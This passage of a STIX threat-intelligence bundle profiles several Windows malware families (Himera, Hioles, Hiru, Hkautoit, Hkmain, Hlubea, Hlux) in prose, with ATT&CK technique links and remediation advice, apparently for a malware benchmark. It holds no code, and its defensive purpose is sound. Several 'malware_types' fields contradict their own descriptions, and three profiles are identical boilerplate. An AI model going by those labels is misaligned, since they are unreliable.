      "description": "<h3>Executive Summary</h3>\nHimera (or Himera Stealer) is a commercially available Information Stealer (Info-Stealer) sold on underground cybercrime forums. It provides threat actors with a low-cost, effective tool designed to rapidly extract sensitive data, credentials, and financial information from compromised Windows endpoints before the victim realizes they have been infected.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHimera is distributed through various vectors, primarily malspam campaigns containing weaponized Office documents (macros), disguised as cracked software on torrent sites, or via malicious links in YouTube tutorial descriptions (often promising free game cheats).\n\nUpon execution, it performs a rapid, highly aggressive data harvesting operation:\n<ul>\n<li><strong>Browser Data Extraction:</strong> It specifically targets Chromium and Gecko-based web browsers to extract saved passwords, autofill data, credit card numbers, and session cookies (allowing attackers to bypass MFA).</li>\n<li><strong>Cryptocurrency Wallet Theft:</strong> Himera actively searches the filesystem for desktop cryptocurrency wallets (Bitcoin, Ethereum, Monero, etc.), stealing the `wallet.dat` files and associated authentication tokens.</li>\n<li><strong>System Profiling and Exfiltration:</strong> It collects extensive system details (hardware specs, installed software, IP address), grabs a desktop screenshot, and packages all stolen data into a compressed archive. This archive is then exfiltrated via HTTP POST requests or directly to a Telegram bot controlled by the attacker.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Himera Stealer infection is a critical data breach. The malware is designed to execute quickly; by the time the initial executable is detected by standard antivirus, the data exfiltration has usually already completed. The stolen session tokens and credentials can be immediately used to access corporate networks or drain financial accounts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Global Credential Reset:</strong> The absolute highest priority is a complete password reset. ALL credentials saved in the user's browser, as well as their domain password, must be changed immediately from a *different, clean device*.</li>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications (O365, Google Workspace, Slack, Discord) to invalidate the stolen tokens.</li>\n<li><strong>Endpoint Eradication:</strong> While the primary malware executable can often be removed by EDR, the extent of the data breach necessitates a full forensic review. Re-imaging the machine is highly recommended to ensure no secondary backdoors were deployed during the infection.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Himera",
        "PWS.Himera",
        "TrojanSpy.HimeraStealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Himera",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/himera"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98147ccf-6e3b-5e8b-9e00-d37366a997d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af4169b6-2fb1-5db1-bd27-e11d84ef578f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Himera exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cad00fb-ae90-50e7-8d19-8677d14efc6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af4169b6-2fb1-5db1-bd27-e11d84ef578f",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Himera exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc51aaaf-02a7-5adc-9c5c-2f2d04040508",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af4169b6-2fb1-5db1-bd27-e11d84ef578f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Himera exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e8c9146-1083-5b5d-b3bc-4732ca2fd320",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af4169b6-2fb1-5db1-bd27-e11d84ef578f",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Himera exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3a26c5c3-e593-501b-8b3e-cebaefb9806f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hioles",
      "description": "<h3>Executive Summary</h3>\nHioles is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a backdoor for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the deployment of secondary, more destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHioles is predominantly distributed through socially engineered spear-phishing campaigns containing malicious attachments or links, as well as via compromised software installers downloaded from untrustworthy sources.\n\nUpon successful execution, Hioles operates with a focus on stealth and persistence:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Hioles ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload upon user login.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader/backdoor, Hioles receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials) or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hioles infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with persistent access and the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Hioles executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Hioles often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hioles",
        "Backdoor.Hioles",
        "Win32/Hioles"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hioles",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hioles"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cda8d06-beb8-562e-b5b6-95994df36daa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a26c5c3-e593-501b-8b3e-cebaefb9806f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hioles exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2979d8c2-00e3-5f81-9b14-89d8392d9e81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a26c5c3-e593-501b-8b3e-cebaefb9806f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hioles exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ceaf170-b20a-5475-a6c1-59da139fef89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a26c5c3-e593-501b-8b3e-cebaefb9806f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hioles exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e98b83e9-08e0-5011-91ba-138e141db181",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3a26c5c3-e593-501b-8b3e-cebaefb9806f",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hioles exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hiru",
      "description": "Trojan:Win32/Hiru is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hiru</b><br>To an end-user, a Hiru infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hiru is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hiru is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hiru frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hiru reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hiru",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hiru"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d6630c3-1350-5a5e-8229-f8afbf45ec29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiru exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc737fa3-9c00-5e19-91e1-819507ff6cfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiru exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b166b7d6-eeb0-57bd-8941-5f2265bf8025",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiru exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdbb2b8e-1622-5a0e-940a-1deb2edcfe9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiru exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--214fab95-83df-5f76-b60a-84023d0cc3ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8b4e0de5-8665-50ad-86f6-6dfaec780e47",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hiru exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0bb38791-3b71-5757-9da7-4f0c9abd8703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hkautoit",
      "description": "Trojan:Win32/Hkautoit denotes a malicious payload that has been compiled using AutoIt, a legitimate Windows scripting language designed for automating UI tasks. Attackers heavily abuse AutoIt because its compiled executables (`.exe`) are essentially self-extracting archives containing a bespoke scripting engine and the obfuscated malicious script, making static analysis and reverse engineering significantly more difficult (`T1027`).<br><br><b>Understanding Hkautoit (Script-Based Malware)</b><br>To an end-user, the infection is invisible, often disguised as a generic installer or crack. For a security analyst, seeing an AutoIt compiled executable outside of a system administration context is highly suspicious. Attackers use AutoIt as a 'wrapper' or 'crypter' to hide the true payload (often an InfoStealer, RAT, or Downloader) from legacy antivirus engines.<br><br><b>Execution and Obfuscation Mechanics</b><br>When the Hkautoit executable runs, it extracts the legitimate AutoIt interpreter and the heavily obfuscated, malicious `.au3` script into memory. The script then executes (`T1059.005`). Because the malicious actions (like process injection, registry modification, or network communication) are performed by the trusted AutoIt interpreter process, it often bypasses behavioral blocks. The script frequently injects the final payload directly into another process (like `explorer.exe`) (`T1055`) without dropping the actual payload to disk.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the hidden payload. Host-based IoCs include EDR alerts for `AutoIt3.exe` (or a renamed version of it) spawning suspicious child processes, injecting code into other processes, or making unexpected outbound network connections. Network IoCs vary entirely based on the C2 infrastructure of the embedded payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hkautoit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hkautoit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f32fadb-2de7-5829-9328-a9b05ca76776",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb38791-3b71-5757-9da7-4f0c9abd8703",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkautoit exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic / AutoIt (Abusing the scripting engine to execute the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43b069f3-ba09-5290-a920-7321021d2b9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb38791-3b71-5757-9da7-4f0c9abd8703",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkautoit exhibits technique T1027 (Obfuscated Files or Information (Using the AutoIt compiler as a packer/wrapper to hide the true payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4cf536d-9796-5f09-986e-1013121d9bbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bb38791-3b71-5757-9da7-4f0c9abd8703",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkautoit exhibits technique T1055 (Process Injection (The AutoIt script injecting the final payload into memory))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hkmain",
      "description": "Trojan:Win32/Hkmain is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hkmain</b><br>To an end-user, a Hkmain infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hkmain is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hkmain is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hkmain frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hkmain reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hkmain",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hkmain"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e2d7260-5aaf-5a09-ae81-8bbcc8adb960",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkmain exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c91f3827-9410-53e2-a1da-8d67b43ff3dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkmain exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f33abd1-e1ae-5945-9a53-95fa9e4c63a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkmain exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--092f1166-70cc-5a32-9136-75faee5a566d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkmain exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b43ed47d-0510-5335-beb2-ec505c44a047",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a5ca99f-a873-5aa6-a7bd-30d85b67f2b9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hkmain exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hlubea",
      "description": "Trojan:Win32/Hlubea is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hlubea</b><br>To an end-user, a Hlubea infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hlubea is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hlubea is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hlubea frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hlubea reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hlubea",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hlubea"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36e05dd8-ee63-5cde-b909-62a6ed058cdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlubea exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d9e37a7-8db2-55be-abf9-5e7cf1aee2ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlubea exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d1f3bec-c36e-5caa-a002-be904a5590f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlubea exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a52948a-9dce-525a-8922-de78b50321b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlubea exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1f1b0b8-b687-54ba-b117-c9610a4a622a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d1ec3ad-857d-5ca8-a41d-c75481bde8e4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hlubea exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76711529-a155-5ba7-b843-649c60376c31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hlux",
      "description": "Trojan:Win32/Hlux (more commonly known to the security industry as the **Kelihos botnet**) was a highly sophisticated, notoriously resilient peer-to-peer (P2P) botnet. Operating for nearly a decade before its infrastructure was dismantled, Hlux/Kelihos was responsible for massive spam campaigns (billions of emails daily), stealing cryptocurrency wallets, harvesting credentials, and acting as a dropper for other malware families. Its decentralized architecture made it exceptionally difficult to take down.<br><br><b>Understanding Hlux (Kelihos) and P2P Botnets</b><br>To an end-user, a Hlux infection might go unnoticed, or result in slower internet speeds due to the background network activity. For a network administrator and law enforcement, Hlux represents a massive distributed threat. Unlike traditional botnets that rely on centralized Command and Control (C2) servers (which can be seized), Hlux nodes communicate with each other. Each infected machine acts as a router, passing encrypted instructions and spam templates between peers.<br><br><b>Execution and Decentralized Networking</b><br>Hlux was heavily distributed via drive-by downloads, exploit kits, and its own malspam campaigns (`T1566.001`). Upon execution, the payload establishes persistence (`T1547.001`) and injects its core routines into legitimate system processes (`T1055`). The critical phase is the network bootstrap: the malware uses a hardcoded list of 